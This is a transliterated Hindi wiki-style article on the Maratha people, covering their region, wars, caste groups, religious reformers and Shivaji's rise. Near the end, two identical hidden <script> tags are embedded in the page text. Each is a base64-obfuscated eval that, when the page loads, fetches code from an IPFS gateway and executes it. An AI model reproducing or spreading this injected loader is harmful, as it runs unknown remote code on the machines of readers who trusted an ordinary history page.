मराठा

maratha chhatrapati shivaji maharaj|200px|center vivaran bharat ke ve pramukh log, jo itihas mean kshetr rakshak yoddha aur hindoo dharm ke samarthak ke roop mean vikhyat haian, inaka grihakshetr, aj ka marathi bhashi kshetr maharashtr rajy hai. any nam 'maharatta' ya 'maharatti' sthapana 17vian shatabdi bhasha marathi rajy maharashtr maratha yuddh pratham yuddh- 1775-1782 ee. dvitiy yuddh- 1803-1805 ee. tritiy yuddh- 1817-1818ee. shasan aur sainy vyavastha maratha samrajy hindoo tatha musalaman shasan evan sainy vyavastha ka mishrit roop tha. isaka sootrapat shivaji ne kiya, isamean samast rajyashakti raja ke hath mean rahati thi. maratha jati lagabhag 6.5 karo d sanbandhit lekh shivaji, shahaji bhoansale, jijabaee, shambhaji, shahoo, tarabaee, balaji bajirav, balaji vishvanath, bajirav pratham, bajirav dvitiy maharashtr, tukaram, marathi any janakari shivaji ne 'hindoo pad padashahi' evan 'hindutv dharmoddharak' ki upadhi grahan kar punah brahmanoan ki raksha ka pran kiya, jo maratha utkarsh ka ek karan raha. in sab karanoan ke sath marathoan ke utthan mean shivaji ki bhoomika evan unake chamatkari vyaktitv ko bhulaya nahian ja sakata. maratha logoan ko 'maharatta' ya 'maharatti' bhi kaha jata hai. bharat ke ve pramukh log, jo itihas mean 'kshetr rakshak yoddha' aur hindoo dharm ke samarthak ke roop mean vikhyat haian, inaka grihakshetr aj ka marathi bhashi kshetr maharashtr rajy hai, jisaka pashchimi kshetr samudr tat ke kinare muanbee (bhootapoorv banbee) se gova tak aur aantarik kshetr poorv mean lagabhag 160 kimi. nagapur tak phaila hua tha. maratha shabd ka tin milate-julate arthoan mean upayog hota hai-marathi bhashi kshetr mean isase ekamatr prabhutvashali maratha jati, ya marathoan aur kuanbhi jati ke ek samooh ka bodh hota hai. maharashtr ke bahar mote taur par isase samoochi kshetriy marathi bhashi abadi ka bodh hota hai, jisaki sankhya lagabhag 6.5 karo d hai. itihas shivaji ke pratinidhitv mean maratha shakti ke utthan ko madhyakalin bharat ke itihas ki ek mahattvapoorn ghatana ke roop mean mana jata hai. marathoan ke utkarsh ke karanoan mean mahattvapoorn karan tha- ‘maharashtr ki bhaugolik sthiti.’ chooanki yah pradesh adhikaanshatah paha doan, nadiyoan, jangaloan evan anupajaoo bhoomi vala kshetr tha, isalie yahaan ke log jujharoo vyaktitv ke dhani the. doosara karan, paha di pradesh ke nivasi hone ke karan marathe svasth evan balishth hote the. tisare, chooanki marathe paha di kshetroan mean rahate the, isalie ye chhapamar yuddh shaili (gorilla yuddh) mean kafi nipun the. kul aur vansh aitihasik roop mean maratha shabd shivaji dvara 17vian shatabdi mean sthapit rajy aur unake uttaradhikariyoan dvara 18vian shatabdi mean vistarit kshetriy rajy ke lie prayukt hota hai. maratha jati ke log mukhyatah gramin kisan, zamiandar aur sainik the. kuchh marathoan aur kuanbhiyoan ne kabhi-kabhi kshatriy hone ka dava bhi kiya, aur isaki pushti ve apane kul-nam v vanshavali ko mahakavyoan ke nayakoan, uttar ke rajapoot vanshoan ya poorv madhyakal ke aitihasik rajavanshoan se jo dakar karate haian. maratha aur kuanbhi samooh ki jatiyaan tatiy, pashchimi paha diyoan aur dakkan ke maidan ke upasamoohoan mean banti huee haian, aur unake bich apas mean vaivahik sanbandh kam hi hote haian. pratyek up kshetr mean in jatiyoan ke gotroan ko vibhinn samaj mandaloan mean kramashah ghatate hue kram mean vargikrit kiya gaya hai. sabase b de samajik mandal mean 96 gotr shamil haian. jinamean sabhi asali maratha batae jate haian. lekin in 96 gotroan ki soochiyoan mean kafi vividhata aur vivad haian. [[chitr:Chatrapati-Shivaji.jpg|chhatrapati shivaji maharaj Chatrapati Shivaji Mahraj|thumb|left|250px]] dharm sudharakoan ka yogadan 16vian evan 17vian shatabdi mean bharat mean hue dharmik andolanoan ne maharashtr mean tukaram, ramadas, vaman pandit evan ekanath jaise dharm sudharakoan ko janm diya. in sabake upadeshoan ne marathoan ko ekata ke sootr mean baandhane evan deshabhakti ki bhavana jagane mean mahattvapoorn yogadan diya. in dharmoanpadesh dvara maharashtr ki bhasha 'marathi' ko apane upadeshoan ka madhyam banane ke karan marathi sahity ka vikas hua. bhasha evan sahity ke vikas ne bhi marathoan ke utkarsh mean bhoomika nibhayi. uchch pad prapti dakshini ke muslim rajyoan ke rajasv vibhag mean karyarat marathoan ko shasan kala evan yuddh kala ki shiksha unhian rajyoan se mili thi. shahaji bhoansale, mushararav, madanapandit aur rajaray parivar ke sadasyoan ne in muslim rajyoan mean soobedar, mantri divan adi anek mahattvapoorn padoan ko dharan kiya tha. golakunda, bidar aur bijapur ke namamatr ke musalaman shasak apane sainik evan asainik donoan vibhag ki kushalata ke marathoan par nirbhar the. is prakar maratha shakti ke utkarsh mean dakshini rajyoan ki bhoomika nirvivad hai. shivaji ki prerana aurangazeb ki hindoo virodhi niti ka hi parinam tha ki, shivaji ne 'hindoo pad padashahi' evan 'hindutv dhamoddharak' ki upadhi grahan kar punah brahmanoan ki raksha ka pran kiya, jo maratha utkarsh ka ek karan raha. in sab karanoan ke sath marathoan ke utthan mean shivaji ki bhoomika evan unake chamatkari vyaktitv ko bhulaya nahian ja sakata. shivaji ne anu ke kanoan ki tarah phaile hue marathoan ko apane kushal netritv evan rashtriyata ke sandeshoan ke madhyam se ekata ke sootr mean baandha aur isake sath hi marathoan ki us shakti ka jagaya, jo unake andar varshoan se chhipi thi. panne ki pragati avastha adhar prarambhik madhyamik poornata shodh {{#icon: Redirect-01.gif|dhyan dean}}<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dekhean maratha samrajy sanbandhit lekh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>